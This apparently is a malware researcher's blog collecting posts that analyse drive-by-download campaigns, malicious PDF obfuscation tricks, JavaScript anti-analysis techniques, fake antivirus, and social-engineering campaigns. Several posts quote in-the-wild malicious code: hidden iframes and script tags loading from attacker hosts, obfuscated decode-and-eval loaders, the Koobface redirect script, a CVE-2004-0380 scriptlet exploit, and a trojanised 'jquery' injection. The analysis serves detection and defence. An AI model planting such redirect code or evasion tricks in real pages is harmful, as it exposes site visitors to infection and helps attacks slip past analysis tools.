Menu:

Showing posts with tag malware. Show all posts.

Peering through the iframe

We have recently presented our paper Peering through the iFrame at the INFOCOM mini-conference.

In this paper, we look in-depth into a drive-by-download campaign, the one used to spread the Mebroot malware. In a way, this paper is an ideal continuation of our earlier investigations of the Mebroot/Torpig botnet; more in general, however, it aims at providing a snapshot (as comprehensive as possible) of a modern drive-by-download campaign. Mebroot is not the most pervasive or widespread drive-by-download campaign (during our monitoring, it affected "only" several thousands domains), but it is long-lasting and quite successful, and therefore it makes for an interesting subject of study.

We started off our study with the goal of gaining a better understanding of all the parties involved in a drive-by-download campaign: the attackers (what is their modus operandi? what infrastructure do they rely on for running the campaign?); the legitimate web sites that get compromised to drive traffic to exploit sites (which sites are targeted? do they notice they have been compromised? how long does it take for them to cleanup?); and the final potential victims of the attacks (are they indeed vulnerable to the attacks? what is the actual infection rate?)

To answer these questions, we needed to get visibility into the operations of the drive-by-download campaign, and, as in our previous studies on Mebroot, we obtained it by infiltrating the Mebroot's infrastructure. A little bit of background is necessary to understand how this worked in practice. As in other drive-by-download attacks, the Mebroot campaign compromises legitimate web sites with code that redirects the visitors of these sites to the campaign's exploit sites (where the actual exploits are launched). In the Mebroot case, the injected code uses domain generation algorithms (DGAs) to dynamically generate the name of the exploit sites where victims are sent to (instead of having their names statically hard-coded). In practice, every so often (from one day to a few days), the DGAs generate a different domain name, thus they redirect victims to a different exploit site.
This presumably is done to be more resilient to take-down attempts: in the traditional model (hard-coded exploit sites), whenever the current exploit site is blocked, the campaign is effectively disabled: all the legitimate web sites that an attacker has compromised of suddenly become useless, because they point to a disabled domain. On the contrary, in the Mebroot case, the disruption caused by taking down the current exploit sites is only temporary: as soon as the DGAs generate a new exploit site, the campaign is active again and the sites that were compromised in the past resume sending their victims to the new exploit site.

However, DGAs also open a window of opportunity for defenders. In particular, we were able to register some of the domain names that were to be used in the campaign. As a consequence, for several days over a period of almost a year, our own servers were used in the campaign in place of the actual exploit sites. Of course, our servers simply monitored the traffic they received and performed several measurements of their visitors.

This monitoring gave us a lot of interesting information; for all the results, refer to the full paper. Here are two findings (on the final target of the attacks and on the compromised web sites) that I think are particularly interesting.

How vulnerable really are the users that are redirected to exploit sites? Quite a bit. During our study, we found that roughly between 60% and 80% of the visitors used at least one browser plugin that was known to be vulnerable. Between 30% and 40% of the users we observed was vulnerable to one of the exploits used in the Mebroot drive-by-download campaign. Clearly, these are very worrying statistics. To be precise, these are upper bounds on the actual infection rates: from our vantage point, we could not determine whether an exploit was successful—an attack could be blocked by a host-based defense mechanism, such as an anti-virus tool. In any case, the potential for infection (and the lack of updating and patching) is staggering.

Switching our attention to the compromised web sites that expose their users to exploits, do they realize that they have been compromised, and, if so, do they clean up and remediate the infection? Not really. Almost 20% of the compromised web sites remained infected during our entire monitoring period. Those that did clean up, did so very slowly: after 25 days only half of the sites had removed the malicious code.

For more results, stats, and graphs, check out the paper. Here is the abstract:

Drive-by-download attacks have become the method of choice for cyber-criminals to infect machines with malware. Previous research has focused on developing techniques to detect web sites involved in drive-by-download attacks, and on measuring their prevalence by crawling large portions of the Internet. In this paper, we take a different approach at analyzing and understanding drive-by-download attacks. Instead of horizontally searching the Internet for malicious pages, we examine in depth one drive-by-download {\em campaign}, that is, the coordinated efforts used to spread malware. In particular, we focus on the Mebroot campaign, which we periodically monitored and infiltrated over several months, by hijacking parts of its infrastructure and obtaining network traces at an exploit server.

By studying the Mebroot drive-by-download campaign from the inside, we could obtain an in-depth and comprehensive view into the entire life-cycle of this campaign and the involved parties. More precisely, we could study the security posture of the victims of drive-by attacks (e.g., by measuring the prevalence of vulnerable software components and the effectiveness of software updating mechanisms), the characteristics of legitimate web sites infected during the campaign (e.g., the infection duration), and the {\em modus operandi} of the miscreants controlling the campaign.


Fake AV, education, and conditioning

Some time ago, I've stumbled upon a web page launching a "Mozilla Security scan". The page would purportedly identify viruses and other malware on my machine. Unfortunately, there is no (legit) Mozilla Security Scanner, as this was yet another case of a fake AV attack.

Fake security scan by Mozilla Security

A characteristic of the Mozilla Security attack is that it uses a slight variation on the classic fake AV playbook: in fact, to convince users to install malware on their machines or directly part with their money, it mimics a security mechanism implemented in a specific program (the alert page presented by Firefox when a user visits a blacklisted domain), rather than simulating a generic anti-virus tool.

These attacks are successful because they piggyback on the trust that users have learned to assign to these security mechanisms (anti-virus software, blacklist filters in browsers, etc.). Of course, this shows that attackers are quite creative in coming up with new attack techniques, especially social engineering schemes. However—and this is perhaps a more constructive observation—they also point out a weakness in how we (the security community in general) have been educating users on computer security. While we were aiming for "user education" (finally having regular users "get" security), it appears that we only managed to do "user conditioning": Security. Advice. Must. Be. Followed. The anti-virus (or a program that looks like it) tells me to pay for an upgrade: done. The malware filtering page in the browser suggests to download a binary: check. And so on.

So, how to improve?

Well, user conditioning and its risks have been pointed out before, together with loads of good suggestions on how to avoid it (most exhaustively by Peter Gutmann). My simple, bare-minimum suggestion is the fake-AV-check: when a new security mechanism or security advice is introduced, how likely is it that this very same mechanism or advice is going to be used in fake AV attacks in a few weeks time? Or, how difficult is it to turn this mechanism or advice on its head and make it into a tool in the hands of the attackers? If the answer is "easy", then let's just go back to the design board and start over.


Geographical targeting of attacks

Attackers have often targeted specific geographical regions, or, conversely, spared certain regions from their attacks. A recent example is the following JavaScript found on a malicious web page:

var s, siteUrl, tmpdomain;
var arydomain = new Array(".gov.cn",".edu.cn");
s = document.location + "";
siteUrl=s.substring(7, s.indexOf('/',7));
tmpdomain = 0;
for(var i = 0; i < arydomain.length; i++) {
    if(siteUrl.indexOf(arydomain[i]) > -1){
        tmpdomain = 1;
        break;
    }
}
if(tmpdomain == 0) {
    document.writeln("<iframe src=http://ggggasz.8866.org:8843/GwN2/index.html?1 width=100 height=0></iframe>");
}

The code checks the location of the current document. If the domain does not contain the strings .gov.cn or .edu.cn, then the attack is launched (by dynamically creating an iframe tag), otherwise the script performs no action.

Certainly not new, but still interesting...


Malicious PDF trick: XFA

Another trick that is becoming more and more common in malicious PDF files consists of storing the actual malicious content (for example, JavaScript code that exploits some vulnerability) into XFA forms. If you remember the getPageNthWord, getAnnots, and the info tricks that have been documented earlier, you will recognize the technique been used here.

So, what is an XFA form? XFA stands for XML Forms Architecture and it is a specification used to create form templates (forms that can be filled in by a user) and to process them (for example, validate their contents). Support for XFA forms in PDF files has been introduced by Adobe with PDF 1.5. If you want to know all the gory details, you can refer to the original XFA proposal or to the Adobe's XFA specification, which, however, being 1123-page long may be a hard read.

Let's see how it used abused in practice (the MD5 of the sample I'm analyzing is 1f26dcd4520a6965a42cefa4c7641334). The PDF first defines an XFA template, which is used to describe the appearance and interactive characteristics of the form.

obj 10 0
<<
    /Type /EmbeddedFile    
    /Length 618    
    /Filter /FlateDecode 
>>
stream
<template xmlns="http://www.xfa.org/schema/xfa-template/2.5/">
    <subform layout="tb" locale="en_US" name="artsLei">
        <pageSet>
            <pageArea id="leiArts" name="leiArts">
                <contentArea h="756pt" w="576pt" x="0.25in" y="0.25in"/>
                <medium long="792pt" short="612pt" stock="default"/>
            </pageArea>
        </pageSet>
        <subform h="756pt" w="576pt " name="docTaut">
            <field h="65mm" name="docArts" w="85mm" x="53.6501mm" y="88.649 9mm">
                <event activity="initialize" name="tautDoc">
                    <script contentType="application/x-javascript">
                    var nil = (function(){return this;}).call(null);
                    ...
                    eval_ref(decode(docArts[\'ra\'+ue+\'wVa\'+ue+\' lue\'].substring(50),eval_ref));
                    </script>
                </event>
                <ui><imageEdit/></ui>
            </field>
        </subform>
    </subform>
</template>
endstream
endobj

A couple of interesting parts: the template defines a field, named docArts. Note that a reference to this field will be available through an object named docArts in the global scope of JavaScript (i.e., this.docArts is a Field object that represents this field). The field also has an event handler to handle its initialization. The handler is written in JavaScript and has the familiar aspect of obfuscated code.

Let's see what this code does:

var nil = (function(){return this;}).call(null);
var eval_ref = nil['eval'];
function decode(str, ev){
    var ret = '';
    var cvc = [];
    var fcc = String.fromCharCode;
    var k = docArts['rawValue'].substring(0, 50);
    ...
    return ret;
}
eval_ref(decode(docArts['rawValue'].substring(50), eval_ref));

The interesting bits here are the references to the docArts object. Notice that its rawValue property is retrieved. So, where is the value of the field stored? In an XFA dataset:

obj 12 0
<<   
    /Filter /FlateDecode    
    /Length 3388    
    /Type /EmbeddedFile 
>>
stream
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
    <xfa:data>
        <artsLei>
            <docArts>
            [[32,48],[65,97],[48,64],[10,11],[13,14],[97,126]]
            [80,87,70,83,71,77,80,88,16,
             ...
            78,66,74,79,21,86,79,68,8,9,59]
            </docArts>
        </artsLei>
    </xfa:data>
</xfa:datasets>
endstream
endobj

Therefore, the obfuscated JavaScript extracts the data stored for the docArts field (precisely, all the content after the initial 50 characters) and passes it for decoding to the decoding routine. The decoding routine also uses the docArts data (the first 50 characters) to retrieve the malicious code in the clear, which is ready to be evaluated. The execution finally results with an exploitation of the CVE-2010-0188 vulnerability (libTiff overflow).


Malicious PDF trick: zoomType

Here is another small trick that malicious PDFs use. The PDF contains JavaScript code similar to the following:

var part1="pe";
var part2="Ty";
var part3="o";
var part4="get";
var part5="xOf";
var fun1= event["tar"+part4]["z"+part3+part3+"m"+part2+part1];
fun1 = varka_tipo[1]+"nde"+part5;
var fun2 = "fromCharCode";
var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" +
    "abcdefghijklmnopqrstuvwxyz" +
    "0123456789"+
    "+/=";

function decode(input) {
    ...
    enc1 = keyStr[fun1](input.charAt(i++));
    ...
}

var code = decode("Q2!#$%^&5a...#$%^&o=!#$%^&");
eval(code);

This script sets up some variables that are used in a decoding routine. As usual, the routine decodes a long string and the result is then interpreted via eval().

The interesting part is how fun1 is computed. Undoing the simple obfuscation shows that it is initialized to event.target.zoomType. Now, event.target is a reference to the Doc object. The Doc object's property zoomType contains the current zoom type of the document. The documentation lists 7 possible values:

Adobe Reader seems to return FitWidth by default. The next step in the script extracts the second character from the zoom type string (the letter i) and concatenates to other strings to obtain indexOf.

A long way to get an i...


Craigslist malware

I've just being targeted by an interesting malware attack on Craigslist. The attack works as follows. I am a legitimate user of Craigslist and I have just posted an announcement to sell an item. A few hours later, I receive an email asking:

u still offer?

I reply back back that the item is still available and again after a few hours I get the following email:

Thank you for getting back to me. 

I just want to make sure i am going to buy the same which i am looking for. 
I can't afford another mistake as i did in the past. 
Please check the video and confirm that it's the same u have. 

http://fav-vid.com/playvideo.php?video=jgahnYYNPe0 

If its the same one I will be there today to buy it 

Thanks

Mmmh, fairly generic message (no reference to the actual item I'm selling) and a "vid" link... Smells phishy. Just to be sure, I follow the link and after a few redirects I wind up on http://favvids.net/playvideo.php?video=jgahnYYNPe0&feature=youtube_gdata&name=my_stuff

Malware site advertised through Craigslist

The picture above shows a screenshot of this site. Notice the fake notification bar on the top that resembles the one used by Internet Explorer. Of course, it turns out that we need a "player", the FLVDirect Player, to actually watch the video. Sounds familiar... If I try to download the player, I am redirected to another site, www.flvpro.com, which finally sends the binary. The binary has fairly high detection on VirusTotal (12/41 at this time).

Another curiosity: if one arrives on the site referenced in the email with JavaScript disabled and attempts to download the player, he gets redirected to www.thislinkhasbeendisabled.com, which laconically announces:

This link has been disabled

It was surely a throw-away address, but as a reference, the original sender on Craigslist was allenekf6dok3z@aim.com.

Stay away from this guy and these sites...


Malicious PDF trick: multiple filters

Another simple trick that is often used by malicious PDF files consists of embedding the malicious JavaScript code in a PDF stream hidden below several stream filters.

Here is an example:

4 0 obj
<<
    /Length 2839
    /Filter [ /ASCIIHexDecode
        /LZWDecode
        /ASCII85Decode
        /RunLengthDecode
        /FlateDecode ]
>>stream
80124E6422E89C7A3517958CC302316CDE
...
08220861102A8595D813C3187E07C40400>
endstream
endobj

The stream's contents are decoded applying the specified 5 filters in order (ASCIIHexDecode, LZWDecode, ASCII85Decode, RunLengthDecode, and FlateDecode).

See this Wepawet report to find out what happens after the decoding is done. These malicious PDFs seem to also have decent detection on VirusTotal (6/41, at the time of writing).


Malicious PDF trick: getPageNthWord

PDF exploits are becoming more and more sophisticated. In particular, they often rely on creative techniques to avoid detection and slow analysis. For a couple of examples, see Julia Wolf's and Daniel Wesemann's nice analysis of malicious documents that use the getAnnots and info tricks, where the actual malicious content is stored as annotations or as part of the document metadata (e.g., the author name).

Here is another trick that showed up recently. I'll call it the getPageNthWord trick, from the key API function it uses.

The PDF contains a JavaScript section with the following code (simplified a little):

var s = '';

new Function(decode(2, 35))();

function decode(page, xor){
    var l = this.getPageNumWords(2);
    for(var i = 0; i < l; i++){
        word = this.getPageNthWord(page, i);
        var c = word.substr(word.length- 2, 2);
        var p = unescape("%"+ c).charCodeAt(0);
        s += String.fromCharCode(p ^ xor);
    }
    return s;
}

This code creates an anonymous function, sets its body to the return value of the decode function, and then executes it.

The interesting part is in the decode function. This function gets the number of words contained in the third page of the document via the getPageNumWords function (recall that pages are 0-based in the PDF API). It then loops through all the words in that page (via the getPageNthWord function) and manipulates them. Let's see how the third page looks like:

11 0 obj 
<<
/Length 23892
>>
stream
2 J
0.57 w
BT /F2 1.00 Tf ET
0.196 G
BT 31.19 806.15 Td ( kh29 kh2a kh55 
...
kh4e kh46 kh0a kh03 kh58 kh2e kh29) Tj ET
...
endstream
endobj

The page is stored as a stream. Its contents comprise a number of directives and the actual textual content. For example, BT indicates the beginning of the text and, conversely, ET marks the end of the text; 31.19 806.15 Td specifies the position of the text on the page; and Tj is the display text operator. The actual textual content is the string starting with kh29.

We can now go back to our decode routine. It is clear that it extracts the last 2 characters from each word (e.g., “29” from “kh29”), interprets them as hex numbers (e.g, 0x29), xors them with 35 (e.g., 0x29 ^ 35 = 10), and finally obtains the corresponding character (e.g., “\n”).

The result of this deobfuscation is the actual exploit code, which targets 4 different vulnerabilities. However, the exploit code has one last trick, which it uses to hide the URL from where the malware is to be downloaded:

var src_table = "abcd...&=%";
var dest_table= "eAFS...=iZR-";
function get_url(){
    var str = this.info.author;
    var ret = encode_str(str, dest_table, src_table);
    return ret;
};

Notice the info.author property. The get_url function essentially performs a simple substitution decryption of the author metadata. Let's see what is contained there:

17 0 obj 
<<
/Author
(-Jj.gw-Jjrj.-JWMyD-JjTWM-JjngM-JgkjW 
 ...
 -JjrWk-Jjrgw-JgTyM-Jy0g.-JWgyg-Jgngw-JgYgY-JyygM-Jy.yC)
>>
endobj

Ugly, indeed. After decoding, one finally gets the malware URL.

Wepawet now handles this type of malicious PDF files. See this report for an example.


CVE-2009-3459, CVE-2009-4324, and one PDF trick

PDF exploits—mostly targeting Adobe Reader and Acrobat programs—are very commonly used on drive-by web sites. This situation is probably the result of the widespread use of the Adobe plugin, a rather large of number of vulnerabilities found in it, and reliable exploitation techniques.

Two recent vulnerabilities for which I have added detection in Wepawet are CVE-2009-3459 and CVE-2009-4324 (click on the links to see analysis reports of two malicious samples). The former is an integer overflow in the PDF parser, the latter is a bug in the JavaScript interpreter.

The analysis of malicious PDF files is often complicated by the use of various obfuscation (or better, “confusion”) techniques. In particular, malicious PDF files are often malformed: expected sections are missing entirely, others are truncated. The attacks are still successful because Adobe Reader does a good job at automatically repairing the damaged file. Of course, analysis tools are not necessarily as good at that.

I recently found an interesting, small trick that was used in the wild. A little background first. A stream is a basic object (technically, a dictionary) used in PDF files to contain arbitrary content. In particular, malicious PDFs use streams to contain the JavaScript code used to launch an exploit. The Length entry in the stream dictionary is used to specify, you guessed it, the length of the encoded content. According to the PDF specification (Section 7.3.8.2 for the curious), the length is to be specified as an integer. The sample I found, however, used an expression (a sum) to declare the stream length in the length declaration.

obj
<</ / / / /Filter/ASCIIHexDecode/Length 100000+12488>>
stream
... stream contents ...
endstream
endobj

Lessons learned: do not trust specs and be a little lenient in the parsing of PDF files...

Update 1/7/2010: Richard B. pointed out that Acrobat seems to detect that the length specification is malformed, discards it, and falls back to a simple parsing strategy to extract the stream contents. Thanks!


Analyzing and detecting malcious flash advertisements

Today, Sean Ford is going to present our paper Analyzing and Detecting Malicious Flash Advertisements at the ACSAC Conference.

The paper describes some of the techniques we use to detect malicious Flash files. More precisely, we focused on two main threats:

The paper also describes in some detail a number techniques that are used in malicious Flash files to evade detection (trigger-based behavior, timezone checks, etc.) and obfuscate the malicious code.

Here is the abstract:

The amount of dynamic content on the web has been steadily increasing, and sites now offer user experiences that come close to those found when running local native applications. Advanced scripting languages such as JavaScript and Adobe's Flash have been instrumental in delivering dynamic content on the Internet. Dynamic content has also become popular in advertising, where Flash has achieved success allowing the creation of rich, interactive ads that are displayed on hundreds of millions of computers per day. The success of Flash-based applications and advertisements attracted the attention of malware authors who use Flash to deliver attacks through advertising networks. This paper presents a novel approach whose goal is to automate the analysis of Flash content to identify malicious behavior. We designed and implemented a tool based on the approach, we made it available to the world, and we tested it on a large corpus of real-world Flash ads. The results show that our tool is able to reliably detect malicious Flash ads with very limited false positives.


YourBizBegin spam campaign on Facebook

A fairly successful spam campaign is currently active on Facebook. The campaign advertises the web sites YourBizBegin.com and YourBizStart.com, which promise easy money for working from home. Googling for the site names shows various reports and complaints, for example, the ones on hkactivity, RipoffReport, and Google.

Spam messages on Facebook advertising YourBizBegin.com

The picture above shows a (sanitized) screenshot of a couple of messages that appeared on a compromised account. The text of all the spammed messages I have seen are similar to the ones shown above. The only variations I have observed so far are in the dollar amounts and the 3-letter signatures.

Screenshot of YourBizBegin.com

The web sites YourBizBegin.com and YourBizStart.com appear to be just front-ends for www.HomeBizOffer.net. HomeBizOffer.net pushes a "Google Profit Club Kit," which, according to the site itself, should enable one to make an easy $200–$943 per day via Google ads. Downloading the kit costs only $3.95 of processing fee. Needless to say, the fine print at the bottom of the pages discloses that a membership rate of $74.93 is charged monthly. Furthermore, the terms of use and privacy policy terms on homebizoffer.net points at another web site, secureweboffer.com.

Screenshot of secureweboffer.com

Here is some more information about the involved web sites:


JavaScript anti-analysis tricks: last-modified

Writers of malicious JavaScript code have always been keen on developing novel ways to make the analysis of their code harder. One of the most commonly used mechanisms to do so is (no surprise here) simple obfuscation. For example, malware authors commonly encode string literals with custom schemes. A decoding routine then de-scrambles the strings before using them further (for example, as the URL of the next step of an attack or as the CLSID of a vulnerable ActiveX control).

Interestingly, malware authors have also introduced various techniques to make the basic deobfuscation step more difficult, in particular, if performed in an off-line analysis environment, which, for example, examines the pages saved during a crawling session.

One of the earliest trick consists of using the URL of the obfuscated page as a decoding key in the deobfuscation routine. More recently, other techniques have also been used. One I have seen lately uses the time of the last modification of the page in the decoding routine.

Consider, for example, the following script:

<html><body><script>
var gtvwx=true,abwz="",gnru=false,
  bfqrv=document.lastModified.split("/"),
  dilp=String,
  cjltu=bfqrv[2].split(":"),
  acinqu=dilp['f#r(o#mZC#h#aZrZC(o,d#e('.replace(/[\(Z,G#]/g,'')],
  gnty=bfqrv[0]+"25"+cjltu[2],
  ckoxz=window,cklqry=0,klny="",
  bfkw=ckoxz['euv9a2lS'.replace(/[S2u9@]/g,'')],
  fopv=[150,173,160...90,94,111],
  ailmux=function(){
    for(var ehlt;cklqry<fopv.length;cklqry++){
        klny+=acinqu(fopv[cklqry]-
          gnty.substring(cklqry%gnty.length,cklqry%gnty.length+1).charCodeAt(0));
        bfkw(klny);
  };
ailmux();
</script></body></html>

The code reads the time the page was last modified from the document.lastModified property. This property is initialized from the value of the Last-Modified header sent from the web server serving the page. The script then parses the time and extracts the number of seconds from the time string into the cjltu variable. The seconds value is then used to compute the value of the gnty variable, which is used in the decoding routine to recover the in-the-clear text from the encoded array fopv..

These are the Wepawet reports for a couple of sites that use this techniques: report for hxxp://www.pipisechka.com/sleep/news.php and report for hxxp://day-evryday.cn/news.php


Mutu campaign on BlogSpot

A new malware campaign is currently abusing BlogSpot. I'll call it the "Mutu" campaign from the text that is found on the malicious pages. I have so far detected almost 400 blogs that are actively involved in the campaign.

A malicious blog looks like the following picture. Note that the actual text, layout, and color themes may vary across different pages.

A malicious "Mutu" blog on BlogSpot

A malicious page contains a script tag similar to the following:

<script language="javascript">
location.href='\u0068\u0074\u0074\u0070\u003a\u002f\u002f'
  + unescape('%77%77%77%2e%78')+unescape('%78%78%6f%64')
  +'\u006e\u006f\u006b\u006c\u0061\u0073'+'sniki'
  +unescape('%2e%63%6f%6d%2f')+unescape('%3f%61%64')
  +unescape('%76%3d%67%61%72')+'bunov'+''
</script>

The script causes the victim's browser to fetch a malicious (or at least dubious) page from one of several domains. These are the domains that are currently being redirected to:

Some of these domains appear to be selling various items (cell phone, drugs). However, others (at least afsharteam1.com) launch drive-by-download attacks. As a result, a malware with limited and generic detection on VirusTotal gets downloaded and launched on the vicitm's machine. For more details, see the Wepawet report for bertilladingman36429.blogspot.com, a blog that redirects to drive-by attacks.


Old exploit still kicking (CVE-2004-0380)

Some exploits just do not want to go away.

Case in point is an exploit for CVE-2004-0380 (yes, 2004!) that I have recently found in hxxp://lixiaoxia.vhost008.cn/2.htm. The page is rather simple:

<html>
<OBJECT style="display:none;" type="text/x-scriptlet" 
  data="&#77&#75&#58&#64&#77&#83&#73&#84&#83&#116&#111&#114&#101&#58&#109
    &#104&#116&#109&#108&#58&#99&#58&#92&#46&#109&#104&#116&#33&#104&#116
    &#116&#112&#58&#47/http://lixiaoxia.vhost008.cn/logo.jpg ::/102%2E%68tm">
</OBJECT>
</body>
</html>

The object tag instantiates a scriptlet. A scriptlet is essentially a reusable object written as a regular web page in which scripts follow certain conventions. Think of ActiveX controls implemented in HTML and VB script. For the sake of historical completeness, scriptlets were introduced in Internet Explorer 4, deprecated in Internet Explorer 5, and disabled by default in Internet Explorer 7. Talk about a successful technology...

After a simple decoding step, the data attribute of the scriptlet reveals the content MK:@MSITStore:mhtml:c:\.mht!http://http://lixiaoxia.vhost008.cn/logo.jpg ::/102.htm, which, on a vulnerable system, would cause the malware logo.gif to be downloaded on the victim's computer.

The malware logo.gif has surprisingly good detection on VirusTotal (34/41!). I wonder if it is also been around since 2004...


JavaScript anti-analysis tricks: 404 status code

Here is an old trick for foiling manual and automated analysis of malicious pages that I still see used from time to time. When the malicious page is requested, the server sends back a 404 ("Not Found") HTTP status code. Regularly, this error message indicates that the requested resource could not be found on the server, and the returned page simply tries to help the visitor correcting the error. However, in the case of malicious pages that use this trick, the body of the apparently missing page contains code that attempts to exploit some browser vulnerabilities or to redirects to other malicious web sites.

The following is an example of a page (hxxp://yahoo-analytics.net/laso/s.php) that uses this technique:

HTTP/1.1 404 Not Found
Date: Tue, 29 Sep 2009 07:26:41 GMT
Server: Apache/2
Last-Modified: Tue, 01 Sep 2009 12:55:36 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
Content-Length: 133
Content-Type: text/html

<iframe src="http://213.163.89.54/lib/index.php" 
   width=0 height=0
   style="hidden" 
   frameborder=0 marginheight=0 marginwidth=0
   scrolling=no>
</iframe>

The headers indicate that the page is missing, but the body contains an iframe that redirects the browser to a page that launches various browser exploits. Of course, stopping the analysis after observing the 404 error code would not reveal any wrongdoing. A complete analysis instead (see the Wepawet report for hxxp://yahoo-analytics.net/laso/s.php for all the details) shows that after the redirection a malicious PDF and Flash files are delivered to the visitor's browser.


SEO to the top

A couple of days ago, Stephan Chenette of Websense had a nice post out on an active SEO campaign (in the following days, Websense has also released an alert to discuss how the campaign abuses the launch of Google Wave).

I am also following this campaign, which seems quite widespread, in terms of the number of web sites and search terms that are involved. Unfortunately, the campaign is also successful in pushing some of its malicious pages high up in the results returned for popular query terms by Google.

Here is a case where they even make it to the top spot:

Successful SEO for search term 'john dory taste'

As explained in Chenette's post, the malicious results (in red in the figure above) redirect to sites that push rogue AV software.

No doubt, the taste of that John Dory is going to be quite... sour.


Rogue AV...via Skype

A new (at least for me) twist on the distribution of rogue AV software. Skype user online.notification.america17, whose full name is, cleverly enough, Online Notification, sent me a chat (see below) to inform me that the "Security Center has detected malware on my computer".

An unwanted Skype chat pushing rogue AV software

The URL that is referenced in the message (www.securonline.net) is currently down, but is listed in several blacklists, for example, hpHosts and WOT.


A gallery of fake koobface pages

Long time, no write... but I thought this could be a good occasion to start again.

It looks like the Koobface people have been busy updating their social engineering tricks. But let's start from the beginning. I was inspecting fnplbpnbvxqjrey.blogspot.com, a BlogSpot's blog that Wepawet flagged as suspicious and involved in pushing Koobface (see the Wepawet report for fnplbpnbvxqjrey.blogspot.com). At first sight, the blog appears to be just one of the many BlogSpot pages involved in this activity.

However, a closer look at the source code of the page reveals something interesting. The code responsible for actually redirecting to Koobface is a fairly recent variant (I have seen it used as early as 2009-09-12). Here is a slightly simplified listing of this code:

var ogxbjeqrihscndvz6 = [ /* list of server IPs */ ];
var mzvtonlxsjprcb5 = '';

cvuhxdinmlqjoeft1();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
  n = parseInt(location.href.substr(n + 4));
  if (n < 101) 
    js = '/cnet';
  else if (n < 201) 
    js = '/warn';
  else if (n < 301) 
    js = '/scan';
  else if (n < 401) 
    js = '';
}
for (var onwxklrqhybjvpase3 = 0; 
     onwxklrqhybjvpase3 < ogxbjeqrihscndvz6.length; 
     onwxklrqhybjvpase3 ++) {
  var ypcovhrtbmn8 = document.createElement('script');
  ypcovhrtbmn8.type = 'text/javascript';
  ypcovhrtbmn8.src = 'http://' + ogxbjeqrihscndvz6[onwxklrqhybjvpase3] + 
    '/go' + '.js' + '?0x3' + 'E8' + mzvtonlxsjprcb5 + js + '/' + 
    (location.search.length > 0 ?  location.search : '');
  document.getElementsByTagName('head')[0].appendChild(ypcovhrtbmn8);
}

The script loops over an array that holds the IPs of compromised machines where visitors of the malicious blog will be redirected to. For each IP, an HTML script tag is added to the page. The tag is set to point to a URL on the compromised IP. Depending on certain conditions, the path of the URLs will contain one of the following strings: /view, /cnet, /warn, /scan. When the redirection finally is triggered, the victim is presented with a different page, depending on which of these strings was included in the URL.

All the pages attempt to social engineer visitors into downloading and installing the Koobface malware. Here are screenshots that show the tricks they use:

Just a few more aces up Koobface's sleeve...


JavaScript anti-analysis tricks: IE conditional compilation

An anti-analysis/fingerprinting trick I've noticed more and more frequently in drive-by downloads is the use of IE conditional compilation.

Conditional compilation is a feature of Internet Explorer that enables the browser to control the compilation of a script (that is, to include or exclude code to be interpreted) depending on the values of a number of conditional compilation variables. Predefined variables provide information about the client environment, such as its processor, OS, and JavaScript version. Conditional compilation statements are typically contained in regular JavaScript comments to prevent problems with browsers that do not support this feature.

Here is an example of how conditional compilation is used in drive-by downloads:

/*@cc_on @*/
/*@if (@_win32)
var source ="=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;00:6" +
    "/23:/255/33:0tubut0tubut/kt#?=0tdsjqu?";
var result = "";
for(var i=0;i<source.length;i++)
    result+=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result);
/*@end @*/

The cc_on statement enables conditional compilation. The @if statement checks that the browser is running on a Win32 system. If this is the case, then the following JavaScript block is interpreted, otherwise it is simply ignored. The code block is a classic deobfuscation routine that produces the following text:

<script type="text/javascript" 
    src="http://95.129.144.229/stats/stats.js"></script>

This script tag fetches a script that redirects to a number of pages serving exploits.

What happens if the user's browser does not support conditional compilation, for example, it is an analysis tool based on the stock SpiderMonkey or Rhino engines? Then, it will simply consider the entire conditional compilation section a comment and it will skip it. As a consequence, the malicious script tag will not be added to the page, and, therefore, the subsequent exploits will not be launched and will not be detected by the analysis tool.

The full report for the example is available on Wepawet.


JavaScript anti-analysis tricks: /textarea

Malicious JavaScript code often relies on defensive mechanisms to evade detection or to make its deobfuscation more difficult. Some of these methods have been well discussed (see, for example, the very nice presentations Reverse Engineering Malicious Javascript by J. Nazario and Circumventing Automated JavaScript Analysis by B. Hoffman), but it's interesting to see how they are used.

Some of the earliest defensive techniques are directed against the manual analysis of malicious code. For example, a quick analysis technique consists of wrapping the script's code into textarea tags so that deobfuscated code is written into the textarea and can be quickly inspected and copy-and-pasted for further analysis. In this case, the textarea is essentially used as a poor-man sandbox. Something the bad guys figured out quickly was that all they needed to do to defeat this technique was to close the textarea tag before performing any other action.

Somewhat surprisingly, this trick is still used from time to time. A few months ago, a malicious script on ixfree.net contained the following code:

document.write("</textarea>");
var i, _, a = ["78.110.175.21", "195.24.76.251"];
_ = 1;
if (document.cookie.match(/\bhgft=1/) == null)
    for (i = 0; i < 2; i++)
        document.write("<script>if(_)" +
            "document.write(\"<script id=_" + i + "_ src=//" + a[i]" + 
            "/cp/?" + navigator .appName.charAt(0) + 
            "><\\/script>\")<\/script>");

(see full report on Wepawet)

The code closes the textarea to escape its "sandbox", checks that a cookie is not set, and then generates two script tags that redirect to exploits. If you were to wrap this code into a textarea, you would end up with an empty textarea and a wrong detection.


Malicious "jquery"

A social engineering trick that the people behind drive-by downloads are using is that of hiding their malicious code in the middle of benign, well-know code.

For example, recently, a number of compromised web sites have found their pages modified with iframes pointing at hxxp://94.247.2.195/jquery.js. At a cursory inspection, jquery.js looks like the jQuery library, a well-known (and definitely benign) JavaScript library. The code includes the standard jQuery's copyright notice and revision information, and the first 6K bytes or so are indeed identical to the original library's code.

/*
 * jQuery JavaScript Library v1.3.1
 * http://jquery.com/
 *
 * Copyright (c) 2009 John Resig
 * Dual licensed under the MIT and GPL licenses.
 * http://docs.jquery.com/License
 *
 * Date: 2009-01-21 20:42:16 -0500 (Wed, 21 Jan 2009)
 * Revision: 6158
 */
(function(){var l=this,g,y=l.jQu...

However, the malicious code is hidden toward the end of the script, where one finds:

if( (typeof(jquery_data)!=typeof(1)) && 
    (document.cookie.match(/\miek=1/)==null))
  document.write(
    unescape('fq%3CssoWcOTHriDpgpsoWt...FH5rscDpgrRpiptRp%3E')
      .replace(/soW|VV|U6k|rV|fq|OTH|H5r|Dpg|Rp/g,"")
      .replace(/Z/,navigator.appName.charAt(0)=='M'?'0':'1'));
jquery_data=1;

